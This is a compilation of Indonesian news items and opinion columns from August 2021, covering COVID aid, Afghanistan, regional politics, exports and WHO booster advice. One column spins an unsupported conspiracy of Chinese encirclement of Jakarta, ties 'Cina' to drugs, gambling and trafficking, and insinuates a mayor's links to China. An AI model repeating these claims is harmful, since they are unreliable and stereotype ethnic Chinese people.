Bogor, FNN - Ketua Satgas Penanganan COVID-19 Kota Bogor Bima Arya menyatakan meskipun kasus COVID-19 di kota tersebut sudah lebih baik dan saat ini berstatus zona oranye, tapi kebutuhan logistik, berupa sembako, tetap dibutuhkan untuk membantu warga yang terdampak secara ekonomi. "Walaupun kasus COVID-19 di Kota Bogor sudah terkendali, tapi masih banyak warga terdampak secara ekonomi yang membutuhkan bantuan logistik, terutama pekerja harian lepas serta warga yang tempat bekerjanya masih tutup," kata Bima Arya, di Kota Bogor, Kamis. Menurut Bima Arya, rasa kepedulian dan berbagi untuk membantu meringankan beban warga Kota Bogor yang terdampak pandemi COVID-19, baik secara ekonomi, maupun warga yang terpapar COVID-19 dan menjalani isolasi mandiri, menggerakkan para donatur untuk memberikan bantuan sosial. Sebelumnya, Bima Arya sebagai Ketua Satgas Penanganan COVID-19 Kota Bogor menerima bantuan paket sembako dari Gundaling dan Swiss-Belhotel Bogor di Posko Logistik PPKM, Kota Bogor. Bantuan tersebut berupa 400 paket sembako, yakni 300 paket sembako dari Swiss-Belhotel Bogor dan 100 paket dari Gundaling Bogor. Bantuan paket sembako tersebut diserahkan secara simbolis dari Direktur Swiss-Belhotel Bogor Karina Soerbakti dan pemilik Gundaling Agustinus Arapen Ginting, kepada Bima Arya. Pada kesempatan tersebut, Bima Arya didampingi Koordinator Posko Logistik PPKM Kota Bogor Muzakkir dan Kepala Pelaksana BPBD Kota Bogor Theofilo Patrocinio Freitas. (mth)

Ghani Bersumpah Kembali ke Afghanistan Terus Berjuang Bagi Rakyat

Kabul, FNN - Presiden Afghanistan Ashraf Ghani yang melarikan diri ke Uni Emirat Arab (UEA) bersumpah kembali ke negaranya guna "melanjutkan perjuangannya demi hak dan nilai-nilai rakyat." Pada Minggu (15/8), Ghani meninggalkan Afghanistan ketika Taliban menguasai Ibu Kota Kabul setelah pasukan pemerintah Afghanistan melarikan diri atau menyerah. Dalam pernyataan video perdananya setelah muncul di Uni Emirat Arab (UAE), Ghani menyatakan, dia meninggalkan negara itu guna menghindari pertumpahan darah di Kabul, di tengah kemajuan Taliban. "Saya sedang berkonsultasi untuk kepulangan ke Afghanistan sehingga saya dapat melanjutkan upaya untuk keadilan, nilai-nilai Islam, dan nasional yang sejati," katanya, sebagaimana dikutip dari Antara. Ghani mengatakan, dia tidak berniat melarikan diri dari Afghanistan atau hidup di pengasingan. "Saya ingin mengalihkan kekuasaan ke Taliban secara damai. Tetapi, saya diusir dari Afghanistan di luar keinginan saya," ujar Ghani. “Saya diberitahu Taliban ada di Kabul… Ada kesepakatan bahwa Taliban tidak akan memasuki Kabul. Tetapi, mereka melakukannya. Saya tidak ingin digantung karena, sebagai presiden, saya adalah kehormatan Afghanistan. Saya tidak takut mati," ujar Ghani kemudian. Dia juga membantah tuduhan melarikan diri dengan sejumlah besar uang tunai. Menurut dia, tudingan tersebut adalah upaya "pembunuhan karakter". “Anda dapat memverifikasi itu dengan Bea Cukai UEA. Saya tidak punya waktu untuk mengganti sepatu saya. Keamanan saya meminta saya pergi karena ada ancaman yang akan segera terjadi kepada saya sebagai kepala negara,” kata Ghani. Dalam pernyataannya, Ghani memberikan dukungan untuk pembicaraan yang sedang berlangsung oleh mantan presiden Hamid Karzai dan perunding perdamaian terkemuka Abdullah Abdullah, dengan Taliban. Dia juga menyampaikan rasa bangganya kepada pasukan keamanan Afghanistan, yang disebutnya "belum dikalahkan" tetapi kalah secara politik. "Itu adalah kegagalan kepemimpinan pemerintah, kepemimpinan Taliban, dan masyarakat internasional. Itu adalah kegagalan proses perdamaian," kata Ghani. (MD).

Lelang 4 Jabatan Tinggi Pemprov Jatim Sepi Pelamar, Pendaftaran Diperpanjang

Surabaya, FNN – Pemerintah Provinsi Jawa Timur memperpanjang masa pendaftaran seleksi umum jabatan pimpinan tinggi (JPT) hingga Senin (16/8/2021). Kebijakan ini menyusul sepinya pelamar untuk empat pos lantaran persyaratannya yang dinilai terlalu tinggi. Keempat jabatan yang belum ada pelamarnya yakni Asisten bidang ekonomi dan pembangunan Sekdaprov Jawa Timur, asisten pemerintahan Sekdaprov Jawa Timur, dinas kesehatan, serta wakil direktur penunjang medik RSUD Soedono Madiun. Untuk calon jabatan asisten misalnya, pelamar wajib memenuhi persyaratan minimal telah duduk di eselon II A atau setingkat sekda di pemerintah daerah. “Persyaratan ini yang masih menjadi kendala. Apakah mereka yang sudah berposisi setingkat sekda mau mendaftar sebagai asisten?,” kata Kepala BKD Jawa Timur Indah Wahyuni. Kendala yang sama juga ada pada lowongan jabatan Dinas Kesehatan dan Wadir Penunjang Medik RS Soedono. Posisi itu membutuhkan kompetensi khusus bidang kesehatan sehingga memperkecil peluang adanya pendaftar. “Namun kami berharap dalam perpanjangan masa pendaftaran ini ada pejabat di pemprov maupun pemda (pemerintah kabupaten dan peemrintah kota) yang mendaftar. Masa pendaftaran seleksi umum JBT Pemprov Jatim sejatinya sudah ditutup pada Selasa (10/8/2021) lalu. Namun karena sepinya peminat pada empat posisi jabatan tadi, maka BKD memperpanjang buka lowongan sampai Senin (16/8/2021). Indah menjelaskan, pada masa pendaftaran pertama, ada 108 pelamar. Namun hanya 85 pendaftar yang lolos verifikasi administrasi dan akan mengikuti seleksi tahap dua di Iniversitas Negeri Surabaya pada 14-18 Agustus. ”Nama yang sudah lolos verifikasi akan lebih dulu mengikuti assessment. Pelaksanaannya pada Sabtu (14/8) hingga Rabu (18/8),” terang Indah Wahyuni. Pelaksana tugas (Plt) Biro Pengadaan Barang dan Jasa itu menambahkan, pendaftar yang tidak lolos verifikasi karena beberapa hal antara lain, faktor usia dan kepangkatan yang tidak memenuhi syarat. Seperti, pendaftar jabatan eselon IIA minimal berpangkat IV B. Banyak pendaftar yang masih berpangkat IV A. ”Jadi mereka otomatis gugur,” ujar Indah Wahyuni. Namun Indah enggan membeber nama-nama peserta yang lolos verifikasi. Dia hanya menyebutkan, kebanyakan pendaftar melamar jabatan yang berbeda dari jabatan sebelumnya atau yang pernah didudukinya. “Pendaftar lelang jabatan ini diprioritaskan PNS di lingkungan Pemprov Jawa Timur. Karena kalau diisi dari luar PNS Pemprov Jawa Timur, akan berdampak pada pengembangan pola karier kepegawaian,’” tuturnya. Sementara Komisi A DPRD Jatim justru menganggap adanya prioritas itu justru menimbulkan diskriminasi dan potensi penyelewenangan pada proses seleksi JPT. Pasalnya, seluruh peserta seleksi seharusnya mendapat hak yang sama. “Pendaftar yang memenuhi persyaratan administrasi ada 85 orang. Tetapi kenapa yang mengikuti asesmen kedua mulai tanggal 14-18 Agustus di Unesa itu ternyata hanya diikuti oleh 58 peserta,” tandas Wakil Ketua Komisi A DPRD Jatim, Dedi Dediyansah. Legislator Partai Gerindra ini menegaskan, lelang jabatan pimpinan OPD ini harus transparan. Sehingga seluruh pelamar yang memenuhi kriteria seharusnya bisa mengikuti setiap tahapan seleksi. Meski bernuansa diskriminatif, politisi yang akrab disapa Cak Edi itu masih meyakini tidak ada penyelewengan dalam proses seleksi JPT Pemprov Jatim kali ini. Apalagi indikasi jual beli jabatan. “Karena sudah memakai sistem terbuka, saya rasa minim sekali dilakukan titipan-titipan dan tim seleksi juga dari kalangan independen,” cetusnya. Berikut Daftar 18 Jabatan Pemprov Jatim yang Dilelang: Asisten I Pemerintahan dan Kesejahteraan Rakyat Asisten II Perekonomian dan Pembangunan Kepala Dinas PU Bina Marga Kepala Dinas PU Sumber Daya Air Kepala Dinas Peternakan. Kepala Dinas Kesehatan Kepala Bakesbangpol Kepala Bakorwil Madiun Kepala Bakorwil Jember Kepala Bakorwil Malang Wadir Penunjang Pelayanan RSUD dr. Saiful Anwar Wadir Penunjang dan Pendidikan Penelitian RSUD dr. Soedono Kepala Biro Administrasi Pembangunan Kepala Biro Pengadaan Barang/Jasa Kepala Biro Perekonomian Kepala Biro Administrasi Pimpinan Kepala Biro Organisasi Direktur RSUD Karsa Husada Batu (mth)

Gubernur Sumbar Serahkan Mobil Dinas Baru Kepada Satuan Tugas Corona

Padang, FNN - Gubernur Sumatera Barat Mahyeldi akhirnya tidak kuat menahan kritik terkait pengadaan mobil dinas pada saat pandemi. Akhirnya mobil dinas yang baru dibeli tersebut diserahkan untuk operasional Satgas Covid-19. Mahyendi memutuskan memakai mobil pribadi. Pengadaan mobil dinas tersebut menuai kritik dari sejumlah partai anggota Dewan Perwakilan Rakyat Daerah (DPRD) provinsi, sejumlah tokoh masyarakat dan juga sejumlah lebaga swadaya masyarakat (LSM). "Mencermati isu mobil dinas dalam dua hari ini, saya atas nama pribadi dan pemerintah terlebih dahulu menyampaikan permohonan maaf kepada semua pihak karena telah menimbulkan keresahan dan jadi pembicaraan publik," kata Mahyeldi di Padang, Kamis, 19 Agustus 2021. Pembelian mobil dinas baru tersebut sudah dianggarkan sejak 2020, sebelum ia terpilih menjadi Gubernur Sumbar yang diusulkan oleh DPRD Sumbar. Pembeliannya sudah sesuai prosedur dan mekanisme di pemerintahan. Selain itu mobil dinas yang lama beberapa kali mengalami kerusakan teknis sehingga menghambat mobilisasi pelayanan ke daerah. Sementara waktu, ia dipinjamkan mobil oleh salah satu kepala dinas dengan harapan pelayanan kepada masyarakat tetap terlaksana. Mahyeldi memaparkan, mobil dinas baru jenis SUV Pajero Sport Dakar 4x4 tersebut disediakan oleh bagian rumah tangga. Kendaraan tersebut sudah dipakai sejak satu bulan yang lalu untuk kegiatan ke daerah dalam rangka koordinasi penanggulangan Covid-19 karena empat daerah di Sumbar masuk PPKM level 4. "Bahkan dalam proses pembelian mobil dimaksud dapat dilakukan penghematan anggaran hingga 40 persen dari pagu yang ada," katanya sebagaimana dikutif dari Antara. Guna mempertegas komitmen penanganan covid-19 dan bukti kepedulian kepada masyarakat, maka saya sudah instruksikan kepada SKPD terkait supaya melakukan pengalihan fungsi mobil dinas gubernur menjadi mobil operasional penanganan Covid-19. Ia juga meminta agar segera melelang mobil dinas yang lama sehingga dananya bisa dialokasikan untuk penanggulangan Covid-19. Ia menegaskan, selaku kader PKS sejak menjadi anggota DPRD, Wakil Wali Kota, Wali Kota, dan Gubernur akan selalu terdepan dalam memberikan keteladanan dan pelayanan kepada masyarakat. "Arahan dari Ketua Majelis Syura PKS Salim Segaf al Jufri, maka sementara waktu dirinya akan menggunakan mobil pribadi untuk kebutuhan pelayanan kepada masyarakat," ujarnya. "PKS telah mewakafkan saya melayani rakyat. Jadi saya akan terus berkomitmen melayani rakyat sebaik-baiknya," katanya. Sementara itu, Kepala Biro Umum Pemprov Sumbar Rosail Akhyari menyampaikan dalam menunjang operasional gubernur sesuai aturan yang ada pihaknya menyediakan dua jenis kendaraan dinas, yaitu jenis sedan dan jeep. Ia menyampaikan, pembelian mobil dinas baru adalah bagian tidak terpisahkan dari penanggulangan Covid-19. Sebab, gubernur memiliki tugas menyelesaikan urusan lintas kabupaten dan kota termasuk penanganan corona, sehingga dituntut memiliki mobilitas tinggi. (MD).

Tuntaskan Dugaan KKN Samin Tan Pada Kontrak HSD Dengan Pertamina Patra Niaga!

Oleh Marwan Batubara PADA 5 April 2021 KPK berhasil menangkap Samin Tan di sebuah café Jl. MH Thamrin, Jakarta setelah menjadi buron yang masuk daftar pencarian orang (DPO) sejak Mei 2020. Samin Tan adalah tersangka kasus dugaan suap pengurusan terminasi kontrak perjanjian karya pengusahaan pertambangan batubara (PKP2B) PT Asmin Koalindo Tuhup (AKT) di Kementerian ESDM. Dalam kasus ini, Samin diduga menyuap Wakil Ketua Komisi VII DPR Eni Maulani Saragih sebesar Rp 5 milar. Uang tersebut diduga terkait upaya Samin Tan memperoleh izin perpanjangan kontrak PKP2B bagi AKT. Padahal kontrak sudah berakhir Oktober 2017 sesuai SK Menteri ESDM No.3174K/30/MEM/2017. Samin disangka melanggar Pasal 5 atau Pasal 13 UU No.31/1999 yang dirubah menjadi UU No.20/2001 tentang Pemberantasan Tipikor. Pada 16 Agustus 2021 Pengadilan Tipikor Jakarta Pusat memvonis Samin Tan hukuman pidana penjara 3 tahun potong masa tahanan, dan denda sebesar Rp 250 juta subsider 6 bulan kurungan. Jaksa penuntut mengatakan dengan telah beralihnya penguasaan uang Rp 5 miliar dari Terdakwa kepada Eni Maulani Saragih melalui Tahta Maharaya, maka unsur memberi atau menjanjikan sesuatu terbukti menurut hukum, sehingga jatuhlah vonis tersebut. Kita tidak yakin apakah Samin akhirnya masuk penjara meski vonis sudah ditetapkan. Kekhawatiran ini berpangkal dari dugaan bahwa jaringan Samin Tan sangat kuat dalam oligarki kekuasaan dan juga statusnya sebagai The Crazy Rich di Indonesia (ke-40 terkaya Indonesia 2011). Hal ini terbukti dalam banyak kasus korupsi yang melibatkan para crazy riches. Samin Tan bisa lolos jerat hukum dan tak kunjung membayar kewajiban dalam kasus KKN berikut. Kasus Samin Tan Memanipulasi Uang Negara Rp 451,66 Miliar Samin Tan terlibat memanipulasi uang negara bernilai Rp451,66 miliar. Perusahaan milik Samin Tan, PT Asmin Koalindo Tuhup (AKT), anak usaha PT Borneo Lumbung Energi & Metal Tbk (BLEM) berkontrak jual beli BBM jenis solar atau high speed diesel (HSD dengan PT Pertamina Patra Niaga, anak usaha Pertamina pada Februari 2009. Setelah kontrak pertama tersebut, terjadi 2 kali perubahan kontrak (yakni pada 2/2010 dan 6/2011) menyangkut perubahan periode pasokan, volume HSD dan nilai discount. Ternyata AKT tidak membayar tagihan sesuai jadwal. Periode 2009-2016, tunggakan AKT mencapai US$ 39,56 juta ditambah Rp 21,34 miliar. Karena itu pada Juli 2012 Patra Niaga menghentikan suplai HSD. Sejak 2012 hingga 2014 Patra Niaga terus melakukan penagihan dan negosiasi utang dengan AKT. Pada akhir 2014, dari total utang US$ 39,56 juta dan Rp 21,34 miliar, dana yang berhasil ditagih Patra Niaga hanya US$ 3,94 juta! Pada 2016, AKT mengajukan voluntary PKPU (Penundaan Kewajiban Pembayaran Utang) ke Pengadilan Niaga. Pengadilan mensahkan Putusan Homoligasi 4 April 2016. Jumlah tagihan Patra Niaga yang diakui AKT sebagai utang adalah Rp 451,66 miliar (kurs Rp 13.890 per US$). Dalam putusan, tampaknya Pengadilan Niaga sengaja tidak memuat ketentuan batas waktu dan sanksi hukum jika utang gagal dilunasi. Ternyata sejak Putusan Pengadilan Niaga 2016 hingga saat ini, AKT tidak pernah mencicil utang. Apalagi melunasi. Jelas terlihat bahwa Sang Crazy Rich Samin Tan tidak mempunyai niat baik melunasi utang. Ternyata Pengajuan voluntary PKPU yang dilakukan Samin Tan pada 2016 merupakan rekayasa licik sekaligus manipulatif agar bebas dari utang. Jangan-jangan Pengadilan Niaga yang membuat putusan tanpa batas waktu dan sanksi pun sudah ikut “terpengaruh” oleh Samin Tan dan kawan-kawan, oknum oligarkis. Kasus ini menyangkut uang negara bernilai Rp451,66 miliar. Samin Tan telah membawa kasus utang-piutang ke Pengadilan Niaga. Namun setelah 5 tahun Pengadilan Niaga membuat keputusan, Samin Tan tidak kunjung mengeksekusi keputusan dan membayar utang. Artinya Samin Tan memang sengaja menggunakan modus memanfaatkan Pengadilan Niaga sebagai cara agar bebas dari kewajiban membayar utang. Modus licik Samin Tan ini jelas jelas merupakan rekayasa manipulatif yang harus segera diproses menurut hukum pidana! KPK Jangan Tebang Pilih Samin Tan telah divonis 3 tahun penjara dan denda Rp 250 juta untuk kasus izin tambang PKP2B PT AKT, yang melibatkan uang suap Rp 5 miliar. Kasus perizinan ini belum merugikan keuangan negara. Dalam kasus jual-beli solar AKT dengan Patra Negara, Samin telah memanipulasi uang negara Rp 451,66 miliar. Maka sangat jelas bahwa kasus ini jauh lebih penting dan sangat mendesak untuk dituntaskan dan diproses secara hukum oleh KPK. Saat mengusut kasus suap izin tambang AKT, KPK sampai harus memasukkan Samin Tan sebagai DPO dan menjadikannya sebagai buron sekitar 1 tahun. Untuk kasus manipulasi uang negara, Pertamina Patra Niaga, Rp 451,66 miliar, berlipat-lipat dibanding kasus suap izin Rp 5 miliar, KPK tidak perlu susah payah memburu pelaku, karena Sang Crazy Rich berada dalam tahanan KPK. Asal ada niat baik, concern atas kerugian negara hampir setengah triliun Rp, maka KPK tinggal dalami kasus dan lanjutkan dengan proses penyidikan. Karena itu, IRESS menuntut agar KPK segera mengadili Samin Tan, terutama karena tidak kunjung dan tidak berniat baik melunasi kewajiban, terlibat KKN merekayasa kasus pengadilan (niaga), dan berpotensi merugikan negara Rp 455,66 miliar. Jangan sampai kasus yang sudah terang benderang ini tidak dipilih untuk “ditebang” oleh KPK, karena mungkin Samin Tan dibackup oleh oknum-oknum yang berada dalam jaringan oligarki penguasa-pengusaha. Kita ingatkan agar KPK tidak tunduk pada tekanan oknum-oknum oligarki kekuasaan. Pertamina & Patra Niaga Jangan Membiarkan Kerugian Negara Patra Niaga merupakan anak usaha Pertamina dengan kepemilikan saham penuh, sama seperti negara memiliki saham di Pertamina, yakni 100%. Artinya kalau Pertamina 100% milik negara, maka Patra Niaga juga 100% milik negara. Terserah apakah status Patra Niaga menurut UU BUMN No.19/2003 hanyalah perusahaan swasta, dan bukan BUMN, namun pemiliknya tetap 100% negara. Karena itu, maka kewajiban negara dan setiap warga negara (rakyat) untuk melindungi dan mengamankan Patra Niaga dari berbagai potensi kerugian. Karena menyangkut aset negara, IRESS dan rakyat memiliki legal standing menuntut penuntasan kasus Samin Tan ini. Namun, yang relevan dan paling bertanggungjawab untuk menuntut penyelesaian kasus adalah manajemen Patra Niaga dan Pertamina. Sejauh ini publik tidak melihat upaya intensif Patra Niaga dan Pertamina mengembalikan uang negara Rp 451,66 miliar tersebut. Jika tetap pasif, dapat dianggap terjadi pembiaran potensi kerugian negara, atau malah terlibat dugaan KKN, maka manajemen BUMN dan anak usaha tersebut pantas untuk pula diproses secara hukum.[] *) Direktur Eksekutif IRESS

Limbah Gelas Kertas Capai Lebih dari 320 Miliar per Tahun

Jakarta, FNN - Pendiri organisasi pemerhati lingkungan hidup The Earth Keepers Indonesia Teguh Handoko mengungkapkan dalam satu tahun terdapat lebih dari 320 miliar limbah gelas kertas di seluruh dunia yang rupanya sangat sulit untuk terurai. "Berdasarkan data yang dihimpun, limbah dari gelas kertas ada 320 miliar per tahun di seluruh dunia, hanya kurang dari 1 persen yang bisa di daur ulang," jelas Teguh dalam jumpa pers virtual "Ngopi Membumi" pada Kamis. Kendati gelas plastik kerap digadang-gadang sebagai kemasan yang ramah lingkungan, rupanya sebagian besar gelas kertas yang diproduksi di dunia masih menggunakan lapisan plastik untuk melindungi bagian dalam. Lapisan plastik inilah yang menyebabkan gelas-gelas kertas ini sulit bahkan tidak bisa didaur ulang. "Memisahkan lapisan plastik dengan gelas kertas itu prosesnya sulit sekali dan memakan biaya yang sangat besar, maka kurang dari 1 persen gelas kertas yang pada akhirnya bisa didaur ulang, sisanya menjadi limbah tak teruraikan," jelas Teguh. Sebagai perbandingan, Teguh memaparkan bahwa limbah 320 miliar gelas kertas bila dijejer menjadi satu garis lurus bisa mencapai 25,6 juta kilometer. "Jarak itu setara dengan 33 kali perjalanan bolak balik dari bumi ke bulan," ujar Teguh yang menambahkan bahwa jumlah limbah gelas kertas ini diperkirakan terus mengalami peningkatan tiga hingga lima persen per tahunnya. “United Nation Environment Program (UNEP) memprediksi pada tahun 2050 akan ada lebih banyak plastik di lautan daripada jumlah ikan. Kebanyakan plastik tidak dapat terurai secara hayati," papar Teguh. Plastik sendiri membutuhkan waktu lebih dari 400 tahun untuk dapat terdegradasi, dan itu pun sebenarnya tidak pernah sepenuhnya terdegradasi, melainkan menjadi potongan-potongan kecil yang akhirnya dapat mengkontaminasi kehidupan laut dan membahayakan manusia, tambah Teguh.(mth)

Bengkulu Bersiap Ekspor 33 Ton Karet Olahan ke Amerika

Bengkulu, FNN - Kantor Karantina Pertanian Bengkulu saat ini sedang mempersiapkan sebanyak 33,28 ton karet olahan jenis SIR 20 senilai Rp11,5 miliar untuk diekspor ke Amerika Serikat. Kepala Karantina Pertanian Bengkulu Bukhari di Bengkulu, Kamis mengatakan permintaan luar negeri itu akan disediakan oleh PT Batanghari Bumi Pratama (BPP) yang merupakan salah satu pabrik pengolahan karet terbesar di Provinsi Bengkulu. Pihaknya, kata Bukhari, telah melakukan supervisi sekaligus koordinasi dengan perusahaan pengolahan karet yang berada di Kabupaten Bengkulu Tengah, Provinsi Bengkulu untuk memastikan agar permintaan luar negeri itu dipersiapkan dengan baik. "Kami lakukan supervisi atas permintaan 33,28 ton komoditas karet olahan ke PT. BPP. Ini juga sekaligus melihat kesiapan rencana ekspor karet olahan jenis SIR 20 senilai Rp11,5 miliar agar komoditas karet ini memiliki cakupan yang layak," kata Bukhari. Bukhari meyakini permintaan ekspor karet olahan dari negeri paman sam tersebut mampu dipenuhi, mengingat PT. BPP yang menyanggupi permintaan itu telah ditetapkan sebagai Instalasi Karantina Tumbuhan (IKT). Dengan begitu, perusahaan itu diyakini mampu melakukan tindakan karantina perlakuan dengan fumigasi terhadap media pembawa yakni kemasan kayu yang digunakan sebagai kemasan karet yang akan diekspor. "Fumigasi ini dilakukan sesuai standar konvensi perlindungan tanaman internasional agar kemasan kayu terbebas dari organisme pengganggu tumbuhan yang dapat terbawa selama distribusinya ke negara tujuan," jelasnya. Menurutnya, meski saat ini masih dalam situasi pandemi COVID-19, geliat ekspor komoditas pertanian dan perkebunan Bengkulu tetap menunjukkan tren positif. Tidak hanya itu, permintaan dunia akan bahan baku industri dari Provinsi Bengkulu, salah satunya komoditas karet tetap dapat dipenuhi oleh para pengusaha di Bengkulu. "Ini salah satu langkah untuk mengoptimalkan gerakan tiga kali ekspor atau gratieks yang digagas Kementerian Pertanian di Provinsi Bengkulu meski saat ini masih dalam kondisi pandemi," katanya. Data pusat informasi kekarantinaan menyebut selama tahun 2020, terdapat beberapa negara yang menjadi tujuan ekspor karet asal Bengkulu yaitu Afrika Selatan, Amerika Serikat, Tiongkok, Kanada dan Malaysia. Nilainya ekspor ini pun tercatat cukup besar yaitu mendekati angka Rp77 miliar dengan volume sebanyak 6.500 ton dan frekuensi tidak kurang dari 50 kali. Sebelumnya, pada Februari 2021 lalu, sebanyak 100,8 ton karet asal Bengkulu diekspor ke Durban, Afrika Selatan setelah resmi mendapat sertifikasi layak dari Karantina Pertanian Bengkulu. (mth)

Organisasi Kesehatan Dunia Tegaskan tidak Perlu Vaksin Ketiga

Jenewa, FNN - Organisasi Kesehatan Dunia (WHO) menegaskan, saat ini suntikan ketiga vaksin Covid-19 tidak diperlukan. Justru kelompok orang-orang paling rentan di seluruh dunia harus sudah terlebih dulu mendapatkan vaksin lengkap sebelum negara-negara berpenghasilan tinggi memberikan suntikan penguat Covid-19. Pernyataan itu muncul tepat sebelum pemerintah AS mengatakan berencana menyediakan lebih banyak suntikan vaksin ketiga bagi seluruh warga Amerika mulai 20 September 2021 saat infeksi akibat varian Delta melonjak. Kepala ilmuwan WHO Soumya Swaminathan, yang ditanya soal perlunya suntikan penguat untuk meningkatkan perlindungan terhadap virus corona, saat konferensi pers di Jenewa mengatakan, "Secara gamblang kami meyakini bahwa data saat ini tidak mengindikasikan perlunya (suntikan) penguat." "Perlu penelitian lebih lanjut," ucapnya, sebagaimana dikutip dari Antara. Penasihat senior WHO, Bruce Aylward, merujuk suntikan penguat yang kini diberikan di negara-negara berpenghasilan tinggi. Kepada wartawan ia mengatakan, "Ada cukup vaksin di seluruh dunia, namun (vaksin) itu tidak didistribusikan ke lokasi yang tepat dalam urutan yang benar." "Dua dosis harus diberikan kepada kelompok yang paling rentan di seluruh dunia sebelum suntikan vaksin ketiga diberikan kepada penerima vaksin lengkap. Kita masih jauh, sangat jauh dari itu." katanya (MD).

Aspek Kemandirian Penting Dalam Proses Peradilan

Jakarta, FNN - Ketua Mahkamah Agung (MA) M Syarifuddin menekankan pentingnya aspek kemandirian dalam proses penyelenggaraan peradilan di Tanah Air bagi seluruh individu yang berada di bawah naungan lembaga itu. "Karena dalam menegakkan keadilan, kemandirianlah yang menjadi jantung sekaligus sebagai detak nadinya," katanya pada perayaan Hari Ulang Tahun (HUT) Ke-76 MA yang dikutip dari laman resmi lebaga itu, di Jakarta, Kamis, 19 Agustus 2021. Kemandirian, lanjutnya, bukan saja dijaga dengan baik melainkan harus dijunjung tinggi oleh setiap individu sebagai marwah dan kehormatan lembaga peradilan. Tanpa dibekali dengan kemandirian, mustahil keadilan dapat terwujud. Proses penegakan hukum juga akan kehilangan rohnya. "Pada akhirnya, lembaga peradilan hanya menjadi alat pemuas bagi pihak-pihak yang memiliki kepentingan," katanya. Terkait situasi pandemi Covid-19 saat ini, Ketua MA terus mengingatkan jajarannya agar tidak pernah surut bekerja melayani masyarakat. Selain itu, semua pihak juga dituntut melakukan perubahan yang positif. "Mulailah dengan perubahan yang kecil untuk mewujudkan sebuah cita-cita yang besar," ujarnya, sebagaimana dikutip dari Antara. Peringatan HUT MA Ke-76 mengusung tema "Memantapkan Kemandirian Badan Peradilan Melalui Pelayanan Hukum Berbasis Teknologi Informasi Pada Masa Pandemi". Upacara peringatan HUT MA dipimpin oleh M. Syarifuddin. Biasanya, upacara diikuti langsung oleh seluruh pimpinan, Hakim Agung, Hakim Ad Hoc, pejabat eselon satu hingga empat, pejabat fungsional dan seluruh pegawai. Namun, tahun ini, untuk kedua kalinya upacara HUT MA dilangsungkan dalam situasi pandemi Covid-19 sehingga berlangsung sederhana, hanya diikuti oleh jajaran pimpinan dan pejabat eselon satu. Sedangkan yang lainnya termasuk para insan peradilan di seluruh Indonesia mengikuti upacara secara virtual. (MD).

Desa Mengepung Kota, Kota Mengepung Ibukota

Oleh Sugengwaras Meskipun aku bukan apa-apa dan bukan siapa-siapa, sebagai WNI, aku berhak mengingatkan pemerintah,i terutama BIN (Badan Inteljen Negara , barangkali kita beda pendapat, tapi anggap sebagai pengayaan pandangan untuk sumbang pikir dalam mencintai dan menyelamatkan negeri ini. Tidak salah BIN tak pernah bersuara, tapi aku menyesal ketika kalian ikut ramai- ramai bervaksin, lantas bagaimana dengan tugas pokokmu, karena yang saya rasakan di era Jokowi, lebih menonjol atas kebohongan, kegaduhan, dan terpecahnya bangsa. Salahkah penglihatanmu? Kurang dengarkah telingamu? Apa dan ke mana pikiranmu? Saya khawatir, semua tugas bisa kau laksanakan kecuali tugas pokokmu! Lihat dan camkan kota Tangerang di sebelah barat Jakarta, kota Bogor di sebelah selatan Jakarta dan kota Bekasi di sebelah timur Jakarta. Ketiga kota itulah kota kota penyangga Jakarta ibu kota negara kita. Di Tangerang, terutama di Pantai Indah Kapuk (PIK), dengan dihalau dan dilarangnya pembentangan Bendera Merah Putih sepanjang 21 meter di jembatan dengan alasan mencegah kerumunan (program PPKM), menarik perhatian saya PIK lebih layak anonim dari Perumahan Inti Komunis. Tata bahasa Indonesia yang benar adalah Pantai Kapuk Indah disingkat PKI. Di Bogor, begitu antusiasnya wali kota Bogor Bima Arya terhadap HRS, ada apa? Mengapa? Mungkinkah Bima Arya ada kedekatan dengan Cina? Kemudian Bogor akan dijadikan sarang pergerakan Cina? Di Bekasi, pada dekat perbatasan Jakarta - Bekasi begitu padatnya pembangunan menara-menara dan instalasi atau stasiun kereta cepat Jakarta - Bandung. Saya berprediksi menara/apartemen itu akan dijual dengan harga mahal yang tidak terjangkau oleh rakyat pribumi dan akan ditempati dan dikuasai Cina. Maka, lengkaplah barat, selatan dan timur Jakarta telah dikuasai dan dikepung Cina, sedangkan sebelah Utara Jakarta Tangerang terbentang lautan luas yang nyaman bagi Cina. Dalam operasi strategi militer, jika kita kembangkan lebih jauh, maka Konawe, Morowali, Sulawesi Barat, bisa dijadikan POSKOUT (Pos Komando Utama) Cina, karena jauh dari keramaian dan pengawasan. Pantai Indah Kapuk bisa dijadikan POSKOTIS (Pos Komando Taktis) karena dekat dengan target, pusat pemerintahan. Sedangkan kota Bogor, Tangerang dan Bekasi sebagai alternatif atau cadangan dalam rangka pergerakannya. Sebenarnya tidak ada yang hebat dari mereka, yang lebih hebat adalah para pengkhianat bangsa yang link up dan menjalin konspirasi dengan mereka. Meskipun hingga saat ini kinerja BIN belum dirasakan rakyat, namun saya yakin tidak ada orang-orang BIN yang menjalin konspirasi dengan Cina, karena bicara Cina tidak terlepas dengan infiltrasi, invasi, narkoba, perjudian, perdagangan manusia dan lain lain. Wajar rakyat berharap, BIN bekerja secara profesional, bukan sekadar asal rezim Jokowi senang, tapi untuk kepentingan agama, bangsa, dan negara. Bolehkah warga negara bertanya, di mana-mana terpasang gambar dan foto kekompakan dan kebersamaan TNI POLRI tapi kenapa POLRI di bawah kendali langsung Presiden, sedangkan TNI hanya pada Menhan. Mengapa BIN tidak ada greget terhadap masuknya Cina ke Indonesia, yakinkah tidak ada yang ilegal cara masuknya? Dengan telah dilaporkannya oleh Jenderal Gatot Nurmantyo sewaktu menjabat Panglima TNI, terkait masuknya 5000 pucuk senjata, bagaimana tindak lanjut BIN? Jika benar di mana keberadaan 5000 pucuk senjata itu, dan bagaimana pertanggungjawabannya? Tolong, waspadai para pejabat dan wilayah kota-kota penyangga Jabotabek (Jakarta, Bogor, Tangerang, Bekasi) dan Konawe, Morowali Sulbar, agar lebih peka dan peduli terhadap ancaman nyata. Ini hanya pemikiran dan prediksi salah satu WNI, yang mungkin bisa salah, yang masih mencintai NKRI umumnya dan BIN khususnya. WASPADA...!!! Penulis Purnawirawan TNI AD

Tameng Budaya dan Luruskan Wajah

